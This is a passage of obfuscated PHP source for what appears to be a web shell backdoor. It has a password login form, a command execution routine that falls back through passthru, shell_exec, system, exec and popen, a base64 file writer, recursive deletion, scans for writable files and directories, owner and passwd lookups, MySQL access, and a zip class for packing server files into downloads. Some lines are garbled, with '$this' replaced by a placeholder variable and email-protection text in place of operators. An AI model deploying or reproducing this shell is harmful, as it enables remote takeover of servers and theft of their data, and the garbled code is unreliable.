</div>
</body>
</html>

<?php
function m($llll) {
    echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    echo $llll;
    echo '</div>';
}
function scookie($lllll, $qqqq, $eeeeeeee = 0, $ffffffff = 1) {
    global $m, $q, $_SERVER;
    $lllll = ($ffffffff ? $m['cookiepre'] : '') . $lllll;
    $eeeeeeee = $eeeeeeee ? $eeeeeeee : $m['cookielife'];
    $gggggggg = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    setcookie($lllll, $qqqq, $q + $eeeeeeee, $m['cookiepath'], $m['cookiedomain'], $gggggggg);
}
function multi($oooooo, $hhhhhhhh, $iiiiiiii, $mmm) {
    $qqqqqq = '';
    if ($oooooo > $hhhhhhhh) {
        $nnn = 10;
        $jjjjjjjj = 5;
        $kkkkkkkk = @ceil($oooooo / $hhhhhhhh);
        if ($nnn > $kkkkkkkk) {
            $llllllll = 1;
            $mmmmmmmm = $kkkkkkkk;
        } else {
            $llllllll = $iiiiiiii - $jjjjjjjj;
            $mmmmmmmm = $iiiiiiii + $nnn - $jjjjjjjj - 1;
            if ($llllllll < 1) {
                $mmmmmmmm = $iiiiiiii + 1 - $llllllll;
                $llllllll = 1;
                if (($mmmmmmmm - $llllllll) < $nnn && ($mmmmmmmm - $llllllll) < $kkkkkkkk) {
                    $mmmmmmmm = $nnn;
                }
            } elseif ($mmmmmmmm > $kkkkkkkk) {
                $llllllll = $iiiiiiii - $kkkkkkkk + $mmmmmmmm;
                $mmmmmmmm = $kkkkkkkk;
                if (($mmmmmmmm - $llllllll) < $nnn && ($mmmmmmmm - $llllllll) < $kkkkkkkk) {
                    $llllllll = $kkkkkkkk - $nnn + 1;
                }
            }
        }
        $qqqqqq = ($iiiiiiii - $jjjjjjjj > 1 && $kkkkkkkk > $nnn ? '<a href="javascript:settable(\'' . $mmm . '\', \'\', 1);">First</a> ' : '') . ($iiiiiiii > 1 ? '<a href="javascript:settable(\'' . $mmm . '\', \'\', ' . ($iiiiiiii - 1) . ');">Prev</a> ' : '');
        for ($wwwwww = $llllllll;$wwwwww <= $mmmmmmmm;$wwwwww++) {
            $qqqqqq.= $wwwwww == $iiiiiiii ? $wwwwww . ' ' : '<a href="javascript:settable(\'' . $mmm . '\', \'\', ' . $wwwwww . ');">[' . $wwwwww . ']</a> ';
        }
        $qqqqqq.= ($iiiiiiii < $kkkkkkkk ? '<a href="javascript:settable(\'' . $mmm . '\', \'\', ' . ($iiiiiiii + 1) . ');">Next</a>' : '') . ($mmmmmmmm < $kkkkkkkk ? ' <a href="javascript:settable(\'' . $mmm . '\', \'\', ' . $kkkkkkkk . ');">Last</a>' : '');
        $qqqqqq = $qqqqqq ? '<p>Pages: ' . $qqqqqq . '</p>' : '';
    }
    return $qqqqqq;
}
function loginpage() { ?>
	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<form method="POST" action="<?php echo $p; ?>" style="margin:20px auto;width:500px;text-align:center">
	<span style="font:15px">PWD: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">
	<input style='display:none;' type="submit" value="Login">
	</form>
<?php
    exit;
}
function execute($nnnnnnnn) {
    $lllllll = '';
    if ($nnnnnnnn) {
        if (function_exists('passthru')) {
            $lllllll = @passthru($nnnnnnnn);
        } elseif (function_exists('shell_exec')) {
            $lllllll = @shell_exec($nnnnnnnn);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($nnnnnnnn);
            $lllllll = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('exec')) {
            @exec($nnnnnnnn, $lllllll);
            $lllllll = join("\n", $lllllll);
        } elseif (@is_resource($oooooooo = @popen($nnnnnnnn, "r"))) {
            $lllllll = '';
            while ([email protected]($oooooooo)) {
                $lllllll.= @fread($oooooooo, 1024);
            }
            @pclose($oooooooo);
        }
    }
    return $lllllll;
}
function which($pppppppp) {
    $hhh = execute("which $pppppppp");
    return ($hhh ? $hhh : $pppppppp);
}
function cf($qqqqqqqq, $rrrrrrrr) {
    if ($kkkk = @fopen($qqqqqqqq, 'w')) {
        @fputs($kkkk, base64_decode($rrrrrrrr));
        @fclose($kkkk);
    }
}
function dirsize($x) {
    $ssssssss = @opendir($x);
    $tttttttt = 0;
    while ($hhhhh = @readdir($ssssssss)) {
        if ($hhhhh != '.' && $hhhhh != '..') {
            $hhh = $x . '/' . $hhhhh;
            if (@is_dir($hhh)) {
                $tttttttt+= dirsize($hhh);
            } else {
                $tttttttt+= @filesize($hhh);
            }
        }
    }
    @closedir($ssssssss);
    return $tttttttt;
}
function debuginfo() {
    global $d;
    $c = explode(' ', microtime());
    $uuuuuuuu = number_format(($c[1] + $c[0] - $d), 6);
    echo 'Processed in ' . $uuuuuuuu . ' second(s)';
}
function mydbconn($bb, $cc, $dd, $ee = '', $o = '', $ff = '3306') {
    global $n;
    if (!$vvvvvvvv = @mysql_connect($bb . ':' . $ff, $cc, $dd)) {
        p('<h2>Can not connect to MySQL server</h2>');
        exit;
    }
    if ($vvvvvvvv && $ee) {
        if ([email protected]_select_db($ee, $vvvvvvvv)) {
            p('<h2>Database selected has error</h2>');
            exit;
        }
    }
    if ($vvvvvvvv && mysql_get_server_info() > '4.1') {
        if (in_array(strtolower($o), $n)) {
            q("SET character_set_connection=$o, character_set_results=$o, character_set_client=binary;", $vvvvvvvv);
        }
    }
    return $vvvvvvvv;
}
function s_array(&$wwwwwwww) {
    if (is_array($wwwwwwww)) {
        foreach ($wwwwwwww as $xxxxxxxx => $yyyyyyyy) {
            $wwwwwwww[$xxxxxxxx] = s_array($yyyyyyyy);
        }
    } else if (is_string($wwwwwwww)) {
        $wwwwwwww = stripslashes($wwwwwwww);
    }
    return $wwwwwwww;
}
function html_clean($zzzzzzzz) {
    $zzzzzzzz = htmlspecialchars($zzzzzzzz);
    $zzzzzzzz = str_replace("\n", "<br />", $zzzzzzzz);
    $zzzzzzzz = str_replace("  ", "&nbsp;&nbsp;", $zzzzzzzz);
    $zzzzzzzz = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $zzzzzzzz);
    return $zzzzzzzz;
}
function getChmod($pppp) {
    return substr(base_convert(@fileperms($pppp), 10, 8), -4);
}
function getPerms($pppp) {
    $aaaaaaaaa = @fileperms($pppp);
    if (($aaaaaaaaa & 0xC000) === 0xC000) {
        $yyyyyy = 's';
    } elseif (($aaaaaaaaa & 0x4000) === 0x4000) {
        $yyyyyy = 'd';
    } elseif (($aaaaaaaaa & 0xA000) === 0xA000) {
        $yyyyyy = 'l';
    } elseif (($aaaaaaaaa & 0x8000) === 0x8000) {
        $yyyyyy = '-';
    } elseif (($aaaaaaaaa & 0x6000) === 0x6000) {
        $yyyyyy = 'b';
    } elseif (($aaaaaaaaa & 0x2000) === 0x2000) {
        $yyyyyy = 'c';
    } elseif (($aaaaaaaaa & 0x1000) === 0x1000) {
        $yyyyyy = 'p';
    } else {
        $yyyyyy = '?';
    }
    $bbbbbbbbb['read'] = ($aaaaaaaaa & 00400) ? 'r' : '-';
    $bbbbbbbbb['write'] = ($aaaaaaaaa & 00200) ? 'w' : '-';
    $bbbbbbbbb['execute'] = ($aaaaaaaaa & 00100) ? 'x' : '-';
    $ccccccccc['read'] = ($aaaaaaaaa & 00040) ? 'r' : '-';
    $ccccccccc['write'] = ($aaaaaaaaa & 00020) ? 'w' : '-';
    $ccccccccc['execute'] = ($aaaaaaaaa & 00010) ? 'x' : '-';
    $ddddddddd['read'] = ($aaaaaaaaa & 00004) ? 'r' : '-';
    $ddddddddd['write'] = ($aaaaaaaaa & 00002) ? 'w' : '-';
    $ddddddddd['execute'] = ($aaaaaaaaa & 00001) ? 'x' : '-';
    if ($aaaaaaaaa & 0x800) {
        $bbbbbbbbb['execute'] = ($bbbbbbbbb['execute'] == 'x') ? 's' : 'S';
    }
    if ($aaaaaaaaa & 0x400) {
        $ccccccccc['execute'] = ($ccccccccc['execute'] == 'x') ? 's' : 'S';
    }
    if ($aaaaaaaaa & 0x200) {
        $ddddddddd['execute'] = ($ddddddddd['execute'] == 'x') ? 't' : 'T';
    }
    return $yyyyyy . $bbbbbbbbb['read'] . $bbbbbbbbb['write'] . $bbbbbbbbb['execute'] . $ccccccccc['read'] . $ccccccccc['write'] . $ccccccccc['execute'] . $ddddddddd['read'] . $ddddddddd['write'] . $ddddddddd['execute'];
}
function getUser($pppp) {
    if (function_exists('posix_getpwuid')) {
        $wwwwwwww = @posix_getpwuid(@fileowner($pppp));
        if ($wwwwwwww && is_array($wwwwwwww)) {
            return ' / <a href="#" title="User: ' . $wwwwwwww['name'] . '&#13&#10Passwd: ' . $wwwwwwww['passwd'] . '&#13&#10Uid: ' . $wwwwwwww['uid'] . '&#13&#10gid: ' . $wwwwwwww['gid'] . '&#13&#10Gecos: ' . $wwwwwwww['gecos'] . '&#13&#10Dir: ' . $wwwwwwww['dir'] . '&#13&#10Shell: ' . $wwwwwwww['shell'] . '">' . $wwwwwwww['name'] . '</a>';
        }
    }
    return '';
}
function deltree($eeeeeeeee) {
    $fffffffff = @dir($eeeeeeeee);
    while ($hhhhh = $fffffffff->read()) {
        if ((is_dir($eeeeeeeee . '/' . $hhhhh)) && ($hhhhh != '.') && ($hhhhh != '..')) {
            @chmod($eeeeeeeee . '/' . $hhhhh, 0777);
            deltree($eeeeeeeee . '/' . $hhhhh);
        }
        if (is_file($eeeeeeeee . '/' . $hhhhh)) {
            @chmod($eeeeeeeee . '/' . $hhhhh, 0777);
            @unlink($eeeeeeeee . '/' . $hhhhh);
        }
    }
    $fffffffff->close();
    @chmod($eeeeeeeee, 0777);
    return @rmdir($eeeeeeeee) ? 1 : 0;
}
function bg() {
    global $ggggggggg;
    return ($ggggggggg++ % 2 == 0) ? 'alt1' : 'alt2';
}
function getPath($hhhhhhhhh, $gggg) {
    if ($gggg == '.') {
        $gggg = $hhhhhhhhh;
    }
    $gggg = str_replace('\\', '/', $gggg);
    $gggg = str_replace('//', '/', $gggg);
    if (substr($gggg, -1) != '/') {
        $gggg = $gggg . '/';
    }
    return $gggg;
}
function getUpPath($gggg) {
    $iiiiiiiii = explode('/', $gggg);
    $oooooo = count($iiiiiiiii);
    if ($oooooo > 2) {
        unset($iiiiiiiii[$oooooo - 1], $iiiiiiiii[$oooooo - 2]);
    }
    $jjjjjjjjj = implode('/', $iiiiiiiii) . '/';
    $jjjjjjjjj = str_replace('//', '/', $jjjjjjjjj);
    return $jjjjjjjjj;
}
function getcfg($kkkkkkkkk) {
    $bbbb = get_cfg_var($kkkkkkkkk);
    if ($bbbb == 0) {
        return 'No';
    } elseif ($bbbb == 1) {
        return 'Yes';
    } else {
        return $bbbb;
    }
}
function getfun($lllllllll) {
    return (false !== function_exists($lllllllll)) ? 'Yes' : 'No';
}
function getextension($cccc) {
    $mmmmmmmmm = pathinfo($cccc);
    return $mmmmmmmmm['extension'];
}
function GetWDirList($x) {
    global $eeeee, $nnnnnnnnn, $gggg;
    !$nnnnnnnnn && $nnnnnnnnn = 1;
    if ($ssssssss = opendir($x)) {
        while ($hhhhh = readdir($ssssssss)) {
            $oooooooo = str_replace('//', '/', $x . '/' . $hhhhh);
            if ($hhhhh != '.' && $hhhhh != '..' && is_dir($oooooooo)) {
                if (is_writable($oooooooo)) {
                    $eeeee[$nnnnnnnnn]['filename'] = str_replace($gggg, '', $oooooooo);
                    $eeeee[$nnnnnnnnn]['mtime'] = @date('Y-m-d H:i:s', filemtime($oooooooo));
                    $eeeee[$nnnnnnnnn]['dirchmod'] = getChmod($oooooooo);
                    $eeeee[$nnnnnnnnn]['dirperm'] = getPerms($oooooooo);
                    $eeeee[$nnnnnnnnn]['dirlink'] = ue($x);
                    $eeeee[$nnnnnnnnn]['server_link'] = $oooooooo;
                    $eeeee[$nnnnnnnnn]['client_link'] = ue($oooooooo);
                    $nnnnnnnnn++;
                }
                GetWDirList($oooooooo);
            }
        }
        closedir($ssssssss);
        clearstatcache();
        return $eeeee;
    } else {
        return array();
    }
}
function GetWFileList($x) {
    global $fffff, $nnnnnnnnn, $gggg, $aaaaa;
    !$nnnnnnnnn && $nnnnnnnnn = 1;
    if ($ssssssss = opendir($x)) {
        while ($hhhhh = readdir($ssssssss)) {
            $ooooooooo = strtolower(getextension($hhhhh));
            $oooooooo = str_replace('//', '/', $x . '/' . $hhhhh);
            if ($hhhhh != '.' && $hhhhh != '..' && is_dir($oooooooo)) {
                GetWFileList($oooooooo);
            } elseif ($hhhhh != '.' && $hhhhh != '..' && is_file($oooooooo) && (in_array($ooooooooo, explode(',', $aaaaa)) || $aaaaa == "")) {
                if (is_writable($oooooooo)) {
                    $fffff[$nnnnnnnnn]['filename'] = str_replace($gggg, '', $oooooooo);
                    $fffff[$nnnnnnnnn]['size'] = sizecount(@filesize($oooooooo));
                    $fffff[$nnnnnnnnn]['mtime'] = @date('Y-m-d H:i:s', filemtime($oooooooo));
                    $fffff[$nnnnnnnnn]['filechmod'] = getChmod($oooooooo);
                    $fffff[$nnnnnnnnn]['fileperm'] = getPerms($oooooooo);
                    $fffff[$nnnnnnnnn]['fileowner'] = getUser($oooooooo);
                    $fffff[$nnnnnnnnn]['dirlink'] = $x;
                    $fffff[$nnnnnnnnn]['server_link'] = $oooooooo;
                    $fffff[$nnnnnnnnn]['client_link'] = ue($oooooooo);
                    $nnnnnnnnn++;
                }
            }
        }
        closedir($ssssssss);
        clearstatcache();
        return $fffff;
    } else {
        return array();
    }
}
function GetSFileList($x, $zzzzzzzz, $zzzz = 0) {
    global $fffff, $nnnnnnnnn, $gggg, $aaaaa;
    !$nnnnnnnnn && $nnnnnnnnn = 1;
    if ($ssssssss = opendir($x)) {
        while ($hhhhh = readdir($ssssssss)) {
            $ooooooooo = strtolower(getextension($hhhhh));
            $oooooooo = str_replace('//', '/', $x . '/' . $hhhhh);
            if ($hhhhh != '.' && $hhhhh != '..' && is_dir($oooooooo)) {
                GetSFileList($oooooooo, $zzzzzzzz, $zzzz = 0);
            } elseif ($hhhhh != '.' && $hhhhh != '..' && is_file($oooooooo) && (in_array($ooooooooo, explode(',', $aaaaa)) || $aaaaa == "")) {
                $ppppppppp = 0;
                if ($zzzz) {
                    if (preg_match('@' . $zzzzzzzz . '@', $hhhhh) || preg_match('@' . $zzzzzzzz . '@', @file_get_contents($oooooooo))) {
                        $ppppppppp = 1;
                    }
                } else {
                    if (strstr($hhhhh, $zzzzzzzz) || strstr(@file_get_contents($oooooooo), $zzzzzzzz)) {
                        $ppppppppp = 1;
                    }
                }
                if ($ppppppppp) {
                    $fffff[$nnnnnnnnn]['filename'] = str_replace($gggg, '', $oooooooo);
                    $fffff[$nnnnnnnnn]['size'] = sizecount(@filesize($oooooooo));
                    $fffff[$nnnnnnnnn]['mtime'] = @date('Y-m-d H:i:s', filemtime($oooooooo));
                    $fffff[$nnnnnnnnn]['filechmod'] = getChmod($oooooooo);
                    $fffff[$nnnnnnnnn]['fileperm'] = getPerms($oooooooo);
                    $fffff[$nnnnnnnnn]['fileowner'] = getUser($oooooooo);
                    $fffff[$nnnnnnnnn]['dirlink'] = $x;
                    $fffff[$nnnnnnnnn]['server_link'] = $oooooooo;
                    $fffff[$nnnnnnnnn]['client_link'] = ue($oooooooo);
                    $nnnnnnnnn++;
                }
            }
        }
        closedir($ssssssss);
        clearstatcache();
        return $fffff;
    } else {
        return array();
    }
}
function qy($qqqqqqqqq) {
    $lllllll = $rrrrrrrrr = '';
    if (!$lllllll = @mysql_query($qqqqqqqqq)) {
        return (0);
    } else if (is_resource($lllllll)) {
        return (1);
    } else {
        return (2);
    }
}
function q($qqqqqqqqq) {
    return @mysql_query($qqqqqqqqq);
}
function fr($sssssssss) {
    mysql_free_result($sssssssss);
}
function sizecount($tttttttt) {
    if ($tttttttt > 1073741824) {
        $tttttttt = (round($tttttttt / 1073741824 * 100) / 100) . ' G';
    } elseif ($tttttttt > 1048576) {
        $tttttttt = (round($tttttttt / 1048576 * 100) / 100) . ' M';
    } elseif ($tttttttt > 1024) {
        $tttttttt = (round($tttttttt / 1024 * 100) / 100) . ' K';
    } else {
        $tttttttt = $tttttttt . ' B';
    }
    return $tttttttt;
}
Class PHPZip1 {
    var $ttttttttt = "../../@UpLoad";
    var $uuuuuuuuu = array();
    var $vvvvvvvvv = array();
    var $wwwwwwwww = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $xxxxxxxxx = 0;
    Function DownLoad($yyyyyyyyy, $zzzzzzzzz, $aaaaaaaaaa) {
        $zzzzzzzzz = StrToLower($zzzzzzzzz);
        $yyyyyyyyy = Str_iReplace(basename($yyyyyyyyy), "", $yyyyyyyyy);
        chdir($yyyyyyyyy . $bbbbbbbbbb->StrPath);
        header('Content-Encoding: none');
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment ; filename=' . Str_Replace(".zip", "", basename($zzzzzzzzz)) . '.zip');
        header('Pragma: no-cache');
        header('Expires: 0');
        print ($aaaaaaaaaa);
    }
    Function SaveFile($yyyyyyyyy, $zzzzzzzzz, $aaaaaaaaaa) {
        $yyyyyyyyy = Str_iReplace(basename($yyyyyyyyy), "", $yyyyyyyyy);
        chdir($yyyyyyyyy . $bbbbbbbbbb->StrPath);
        $kkkk = fopen($zzzzzzzzz, "wb");
        fwrite($kkkk, $aaaaaaaaaa, strlen($aaaaaaaaaa));
        fclose($kkkk);
    }
    Function ZipDir($x, $zzzzzzzzz, $cccccccccc) {
        IF ([email protected]_exists('gzcompress')) {
            return (0);
        }
        @set_time_limit("0");
        $bbbbbbbbbb->openFile($x, $zzzzzzzzz);
        $aaaaaaaaaa = $bbbbbbbbbb->filezip();
        Switch ($cccccccccc) {
            Case "1":
                $bbbbbbbbbb->DownLoad(__FILE__, $zzzzzzzzz, $aaaaaaaaaa);
            Break;
            Case "2":
                $bbbbbbbbbb->SaveFile(__FILE__, $zzzzzzzzz, $aaaaaaaaaa);
            Break;
        }
    }
    Function ZipFile($hhhhh, $zzzzzzzzz, $cccccccccc) {
        IF ([email protected]_exists('gzcompress')) {
            return (0);
        }
        IF (is_array($hhhhh)) {
            Foreach ($hhhhh as $cccc) {
                IF (is_file($cccc)) {
                    $dddddddddd = fopen($cccc, "rb");
                    $zzzzzzzz = @fread($dddddddddd, filesize($cccc));
                    fclose($dddddddddd);
                    $cccc = basename($cccc);
                    $bbbbbbbbbb->addFile($zzzzzzzz, $cccc);
                }
            }
        } Else {
            IF (is_file($hhhhh)) {
                $dddddddddd = fopen($hhhhh, "rb");
                $zzzzzzzz = @fread($dddddddddd, filesize($hhhhh));
                fclose($dddddddddd);
                $hhhhh = basename($hhhhh);
                $bbbbbbbbbb->addFile($zzzzzzzz, $hhhhh);
            }
        }
        $aaaaaaaaaa = $bbbbbbbbbb->filezip();
        Switch ($cccccccccc) {
            Case "1":
                $bbbbbbbbbb->DownLoad(__FILE__, $zzzzzzzzz, $aaaaaaaaaa);
            Break;
            Case "2":
                $bbbbbbbbbb->SaveFile(__FILE__, $zzzzzzzzz, $aaaaaaaaaa);
            Break;
        }
    }
    Function openFile($hhh, $eeeeeeeeee) {
        $ffffffffff = $hhh;
        $gggggggggg = $eeeeeeeeee;
        IF ($hhhhhhhhhh = @opendir($hhh)) {
            While (false !== ($hhhhh = readdir($hhhhhhhhhh))) {
                IF ($hhhhh != '.' and $hhhhh != '..') {
                    IF (ereg('\.', $hhhhh . @basename())) {
                        $dddddddddd = fopen($hhh . '/' . $hhhhh, "r");
                        $iiiiiiiiii = @fread($dddddddddd, 1024000);
                        fclose($dddddddddd);
                        $bbbbbbbbbb->addFile($iiiiiiiiii, $hhh . '/' . $hhhhh);
                    } Else {
                        $bbbbbbbbbb->openFile($hhh . '/' . $hhhhh, $eeeeeeeeee . '/' . $hhhhh);
                    }
                }
            }
            $eeeeeeeeee = $gggggggggg;
            $hhh = $ffffffffff;
            closedir($hhhhhhhhhh);
        }
    }
    Function addFile($jjjjjjjjjj, $xxxxxx, $nnnn = 0) {
        $xxxxxx = str_replace('\\', '/', $xxxxxx);
        $xxxxxx = str_replace('./', '', str_replace('../', '', $xxxxxx));
        $kkkkkkkkkk = dechex($bbbbbbbbbb->unix2DosTime($nnnn));
        $llllllllll = '\x' . $kkkkkkkkkk[6] . $kkkkkkkkkk[7] . '\x' . $kkkkkkkkkk[4] . $kkkkkkkkkk[5] . '\x' . $kkkkkkkkkk[2] . $kkkkkkkkkk[3] . '\x' . $kkkkkkkkkk[0] . $kkkkkkkkkk[1];
        Eval('$hexdtime="' . $llllllllll . '";');
        $mmmmmmmmmm = "\x50\x4b\x03\x04";
        $mmmmmmmmmm.= "\x14\x00";
        $mmmmmmmmmm.= "\x00\x00";
        $mmmmmmmmmm.= "\x08\x00";
        $mmmmmmmmmm.= $llllllllll;
        $nnnnnnnnnn = strlen($jjjjjjjjjj);
        $oooooooooo = crc32($jjjjjjjjjj);
        $pppppppppp = gzcompress($jjjjjjjjjj);
        $qqqqqqqqqq = strlen($pppppppppp);
        $pppppppppp = substr(substr($pppppppppp, 0, strlen($pppppppppp) - 4), 2);
        $mmmmmmmmmm.= pack('V', $oooooooooo);
        $mmmmmmmmmm.= pack('V', $qqqqqqqqqq);
        $mmmmmmmmmm.= pack('V', $nnnnnnnnnn);
        $mmmmmmmmmm.= pack('v', strlen($xxxxxx));
        $mmmmmmmmmm.= pack('v', 0);
        $mmmmmmmmmm.= $xxxxxx;
        $mmmmmmmmmm.= $pppppppppp;
        $mmmmmmmmmm.= pack('V', $oooooooooo);
        $mmmmmmmmmm.= pack('V', $qqqqqqqqqq);
        $mmmmmmmmmm.= pack('V', $nnnnnnnnnn);
        $bbbbbbbbbb->datasec[] = $mmmmmmmmmm;
        $rrrrrrrrrr = strlen(implode('', $bbbbbbbbbb->datasec));
        $ssssssssss = "\x50\x4b\x01\x02";
        $ssssssssss.= "\x00\x00";
        $ssssssssss.= "\x14\x00";
        $ssssssssss.= "\x00\x00";
        $ssssssssss.= "\x08\x00";
        $ssssssssss.= $llllllllll;
        $ssssssssss.= pack('V', $oooooooooo);
        $ssssssssss.= pack('V', $qqqqqqqqqq);
        $ssssssssss.= pack('V', $nnnnnnnnnn);
        $ssssssssss.= pack('v', strlen($xxxxxx));
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('v', 0);
        $ssssssssss.= pack('V', 32);
        $ssssssssss.= pack('V', $bbbbbbbbbb->old_offset);
        $bbbbbbbbbb->old_offset = $rrrrrrrrrr;
        $ssssssssss.= $xxxxxx;
        $bbbbbbbbbb->ctrl_dir[] = $ssssssssss;
    }
    Function filezip() {
        $jjjjjjjjjj = implode('', $bbbbbbbbbb->datasec);
        $tttttttttt = implode('', $bbbbbbbbbb->ctrl_dir);
        Return $jjjjjjjjjj . $tttttttttt . $bbbbbbbbbb->eof_ctrl_dir . pack('v', sizeof($bbbbbbbbbb->ctrl_dir)) . pack('v', sizeof($bbbbbbbbbb->ctrl_dir)) . pack('V', strlen($tttttttttt)) . pack('V', strlen($jjjjjjjjjj)) . "\x00\x00";
    }
    Function unix2DosTime($uuuuuuuuuu = 0) {
        $vvvvvvvvvv = ($uuuuuuuuuu == 0) ? getdate() : getdate($uuuuuuuuuu);
        IF ($vvvvvvvvvv['year'] < 1980) {
            $vvvvvvvvvv['year'] = 1980;
            $vvvvvvvvvv['mon'] = 1;
            $vvvvvvvvvv['mday'] = 1;
            $vvvvvvvvvv['hours'] = 0;
            $vvvvvvvvvv['minutes'] = 0;
            $vvvvvvvvvv['seconds'] = 0;
        }
        Return (($vvvvvvvvvv['year'] - 1980) << 25) | ($vvvvvvvvvv['mon'] << 21) | ($vvvvvvvvvv['mday'] << 16) | ($vvvvvvvvvv['hours'] << 11) | ($vvvvvvvvvv['minutes'] << 5) | ($vvvvvvvvvv['seconds'] >> 1);
    }
    Function Unzip_File($wwwwwwwwww, $mmmmmmmm, $xxxxxxxxxx = Array(-1)) {
        $yyyyyyyyyy = 0;
        $rrrr = @fopen($wwwwwwwwww, 'rb');
        IF (!$rrrr) {
            Return (-1);
        }
        $zzzzzzzzzz = $bbbbbbbbbb->ReadCentralDir($rrrr, $wwwwwwwwww);
        $aaaaaaaaaaa = $zzzzzzzzzz['offset'];
        IF (!is_array($xxxxxxxxxx)) {
            $xxxxxxxxxx = array($xxxxxxxxxx);
        }
        For ($wwwwww = 0;$xxxxxxxxxx[$wwwwww];$wwwwww++) {
            IF (intval($xxxxxxxxxx[$wwwwww]) != $xxxxxxxxxx[$wwwwww] || $xxxxxxxxxx[$wwwwww] > $zzzzzzzzzz['entries']) {
                Return (-1);
            }
        }
        For ($wwwwww = 0;$wwwwww < $zzzzzzzzzz['entries'];$wwwwww++) {
            @fseek($rrrr, $aaaaaaaaaaa);
            $bbbbbbbbbbb = $bbbbbbbbbb->ReadCentralFileHeaders($rrrr);
            $bbbbbbbbbbb['index'] = $wwwwww;
            $aaaaaaaaaaa = ftell($rrrr);
            @rewind($rrrr);
            fseek($rrrr, $bbbbbbbbbbb['offset']);
            IF (in_array("-1", $xxxxxxxxxx) || in_array($wwwwww, $xxxxxxxxxx)) {
                $ccccccccccc[$bbbbbbbbbbb['filename']] = $bbbbbbbbbb->ExtractFile($bbbbbbbbbbb, $mmmmmmmm, $rrrr);
            }
        }
        fclose($rrrr);
        Return $ccccccccccc;
    }
    Function get_List($ddddddddddd) {
        $rrrr = @fopen($ddddddddddd, 'rb');
        IF (!$rrrr) {
            Return (0);
        }
        $eeeeeeeeeee = $bbbbbbbbbb->ReadCentralDir($rrrr, $ddddddddddd);
        @rewind($rrrr);
        @fseek($rrrr, $eeeeeeeeeee['offset']);
        For ($wwwwww = 0;$wwwwww < $eeeeeeeeeee['entries'];$wwwwww++) {
            $bbbbbbbbbbb = $bbbbbbbbbb->ReadCentralFileHeaders($rrrr);
            $bbbbbbbbbbb['index'] = $wwwwww;
            $cccccccc['filename'] = $bbbbbbbbbbb['filename'];
            $cccccccc['stored_filename'] = $bbbbbbbbbbb['stored_filename'];
            $cccccccc['size'] = $bbbbbbbbbbb['size'];
            $cccccccc['compressed_size'] = $bbbbbbbbbbb['compressed_size'];
            $cccccccc['crc'] = strtoupper(dechex($bbbbbbbbbbb['crc']));
            $cccccccc['mtime'] = $bbbbbbbbbbb['mtime'];
            $cccccccc['comment'] = $bbbbbbbbbbb['comment'];
            $cccccccc['folder'] = ($bbbbbbbbbbb['external'] == 0x41FF0010 || $bbbbbbbbbbb['external'] == 16) ? 1 : 0;
            $cccccccc['index'] = $bbbbbbbbbbb['index'];
            $cccccccc['status'] = $bbbbbbbbbbb['status'];
            $fffffffffff[] = $cccccccc;
            unset($bbbbbbbbbbb);
        }
        Return $fffffffffff;
    }
    Function ReadFileHeader($rrrr) {
        $ggggggggggg = fread($rrrr, 30);
        $jjjjjjjjjj = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $ggggggggggg);
        $bbbbbbbbbbb['filename'] = fread($rrrr, $jjjjjjjjjj['filename_len']);
        IF ($jjjjjjjjjj['extra_len'] != 0) {
            $bbbbbbbbbbb['extra'] = fread($rrrr, $jjjjjjjjjj['extra_len']);
        } Else {
            $bbbbbbbbbbb['extra'] = '';
        }
        $bbbbbbbbbbb['compression'] = $jjjjjjjjjj['compression'];
        $bbbbbbbbbbb['size'] = $jjjjjjjjjj['size'];
        $bbbbbbbbbbb['compressed_size'] = $jjjjjjjjjj['compressed_size'];
        $bbbbbbbbbbb['crc'] = $jjjjjjjjjj['crc'];
        $bbbbbbbbbbb['flag'] = $jjjjjjjjjj['flag'];
        $bbbbbbbbbbb['mdate'] = $jjjjjjjjjj['mdate'];
        $bbbbbbbbbbb['mtime'] = $jjjjjjjjjj['mtime'];
        IF ($bbbbbbbbbbb['mdate'] && $bbbbbbbbbbb['mtime']) {
            $aaa = ($bbbbbbbbbbb['mtime'] & 0xF800) >> 11;
            $bbb = ($bbbbbbbbbbb['mtime'] & 0x07E0) >> 5;
            $hhhhhhhhhhh = ($bbbbbbbbbbb['mtime'] & 0x001F) * 2;
            $xx = (($bbbbbbbbbbb['mdate'] & 0xFE00) >> 9) + 1980;
            $yy = ($bbbbbbbbbbb['mdate'] & 0x01E0) >> 5;
            $zz = $bbbbbbbbbbb['mdate'] & 0x001F;
            $bbbbbbbbbbb['mtime'] = mktime($aaa, $bbb, $hhhhhhhhhhh, $yy, $zz, $xx);
        } Else {
            $bbbbbbbbbbb['mtime'] = time();
        }
        $bbbbbbbbbbb['stored_filename'] = $bbbbbbbbbbb['filename'];
        $bbbbbbbbbbb['status'] = "ok";
        Return $bbbbbbbbbbb;
    }
    Function ReadCentralFileHeaders($rrrr) {
        $ggggggggggg = fread($rrrr, 46);
        $bbbbbbbbbbb = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $ggggggggggg);
        IF ($bbbbbbbbbbb['filename_len'] != 0) $bbbbbbbbbbb['filename'] = fread($rrrr, $bbbbbbbbbbb['filename_len']);
        Else $bbbbbbbbbbb['filename'] = '';
        IF ($bbbbbbbbbbb['extra_len'] != 0) $bbbbbbbbbbb['extra'] = fread($rrrr, $bbbbbbbbbbb['extra_len']);
        Else $bbbbbbbbbbb['extra'] = '';
        IF ($bbbbbbbbbbb['comment_len'] != 0) $bbbbbbbbbbb['comment'] = fread($rrrr, $bbbbbbbbbbb['comment_len']);
        Else $bbbbbbbbbbb['comment'] = '';
